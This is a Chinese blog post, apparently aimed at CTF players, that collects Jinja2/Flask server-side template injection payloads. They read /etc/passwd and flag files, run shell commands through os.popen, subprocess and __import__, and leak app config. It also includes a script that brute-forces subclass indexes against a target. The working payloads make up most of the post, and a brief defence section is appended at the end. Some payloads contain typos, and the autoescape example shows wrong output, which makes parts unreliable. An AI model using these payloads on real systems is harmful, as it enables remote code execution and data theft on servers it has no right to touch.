基于SSTI模块注入的常用payload总结

写在前面:

(1)下面payload中的__mro__[2]有时候需要换成__base__ (但是我遇到的还是前者多些),具体用哪个取决于题目环境的实际情况;

(2)payload中的xx代表我们所要利用的类或者函数所在位置,即我们通过脚本跑出来的类或者函数所在的位置;

(3)关于爆破的脚本请参考我前面的博客【http://t.csdn.cn/ygvBK】,这里主要是总结payload 。

目录

一、查找函数位置,利用函数实现

1、利用file函数进行读取

2、利用内嵌函数eval进行命令执行

3、利用linecache函数进行命令执行

二、查找类的位置,利用类下的函数实现

1、利用_frozen_importlib_external.FileLoader类

2、利用importlib类进行命令执行

3、利用subprocess.Popen类进行命令执行

三、利用os模块进行命令执行

1、利用config

2、利用url_for

3、利用子类的os模块

四、关于其他的利用

1、利用lipsum执行命令

2、读取配置文件中的FLAG

3、利用warnings.catch_warnings 进行命令执行

4、利用 _ _ import _ _ 进行命令执行

5、 利用任意字符串或特殊变量


一、查找函数位置,利用函数实现

1、利用file函数进行读取

{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

2、利用内嵌函数eval进行命令执行

{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

3、利用linecache函数进行命令执行

{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['linecache']['os'].popen('ls').read()}}

二、查找类的位置,利用类下的函数实现

1、利用_frozen_importlib_external.FileLoader类

(该类下的get_data函数进行读取)

{{''.__class__.__mro__[2].__subclasses__()[xx]["get_data"](0,"/etc/passwd")}}

2、利用importlib类进行命令执行

(该类下的load_module可以引用os)

{{''.__class__.__mro__[2]__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}

3、利用subprocess.Popen类进行命令执行

{{''.__class__.__mro[2]__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

三、利用os模块进行命令执行

即在其他函数中直接掉用os模块来执行os.popen()

1、利用config

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

2、利用url_for

{{url_for.__globals__['os'].popen('ls').read()}}
cycler               {{cycler.__init__.__globals__.os.popen('id').read()}}
joiner               {{joiner.__init__.__globals__.os.popen('id').read()}}
namespace            {{namespace.__init__.__globals__.os.popen('id').read()}}

3、利用子类的os模块

查找含有os模块的子类:

import requests
url = ""
for i in range(500):
    data = {
        "parms": "{{''.__class__.__mro__[2]__.__subclasses__()[{}].__init__.__globals__}}".format(str(i))
    }#传入的参数,根据事实情况更改参数的名称
    try:
        re = requests.get(url=url,params=data).text
        if 'os.py' in re:
            print(i,data["parms"])
    except:
        pass
{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['os'].popoen('ls').read()}}

四、关于其他的利用

1、利用lipsum执行命令

{{lipsum.__globals__['os']['popen']('ls').read()}}

2、读取配置文件中的FLAG

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

3、利用warnings.catch_warnings 进行命令执行

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()

4、利用 _ _ import _ _ 进行命令执行

{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

5、 利用任意字符串或特殊变量

{{sss.__init__.__globals__.__builtins__.open("/flag").read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{request.application.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}

可以看到上面很多payload中都有popen函数,实质还是对popen函数的利用,因此我们在使用脚本爆破时一定要尝试popen函数。

### SSTI漏洞原理 服务器端模板注入(Server-Side Template Injection, SSTI)是一种安全漏洞,允许攻击者通过控制模板输入参数,在服务器端模板引擎中执行恶意代码[^3]。这种漏洞通常发生在开发者未对用户输入进行适当过滤的情况下。 #### 漏洞形成原因 当模板引擎直接将未经验证的用户输入嵌入到模板字符串中时,可能会引发SSTI漏洞。例如,某些框架(如Python中的Jinja2)支持动态模板渲染功能,如果开发者错误地实现了如下危险代码: ```python template_str = f"Welcome, {user_input}" output = Template(template_str).render() ``` 上述代码片段中,`user_input`是由外部传入的数据,而该数据并未经过任何安全性处理就直接用于构建模板字符串。一旦攻击者能够操控此输入字段,则可能向其中插入恶意指令以触发远程代码执行或其他危害行为[^5]。 --- ### 防御措施 针对SSTI漏洞的有效防护手段主要包括以下几个方面: 1. **严格校验与清理用户提交的内容** 对所有来自客户端请求的数据都需进行全面细致地检查以及必要的转义操作,从而杜绝非法字符或者潜在有害语句混入最终形成的HTML页面之中[^4]。 2. **采用白名单机制限定可接受参数范围** 只允许预定义好的选项作为合法值参与后续业务逻辑运算过程;对于超出规定之外的选择一律拒绝受理. 3. **禁用复杂表达式的解析能力** 如果没有必要的话,应该关闭那些能够让脚本解释器理解并运行任意命令的功能开关。比如在配置文件里设置 `autoescape=True`, 这样就可以自动给所有的变量加上 HTML 转义标记: ```python from jinja2 import Environment, select_autoescape env = Environment(autoescape=select_autoescape(['html', 'xml'])) template = env.from_string('<b>{{ name }}</b>') print(template.render(name='<script>alert(1)</script>')) # 输出:<b><script>alert(1)</script></b> ``` 4. **最小化权限原则管理资源访问权** 确保只有真正需要的人才可以接触到敏感部位的信息资产,包括但不限于源码库、部署环境等等重要环节. 5. **定期更新依赖组件至最新稳定版本** 关注官方发布的补丁公告及时修复已知缺陷问题,减少因第三方库存在安全隐患而导致整体系统面临风险的可能性. --- ### 结论 综上所述,SSTI 是一种非常严重的 Web 应用层面上的安全隐患形式之一,它不仅可以让入侵者轻易获取目标主机上的机密资料甚至完全掌控整个网络架构体系结构,而且还会造成难以估量经济损失和社会影响后果严重程度不言自明。因此我们必须高度重视起来采取切实可行的技术方案加以防范遏制此类事件再次发生几率降到最低水平线上去努力奋斗前行之路永无止境!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值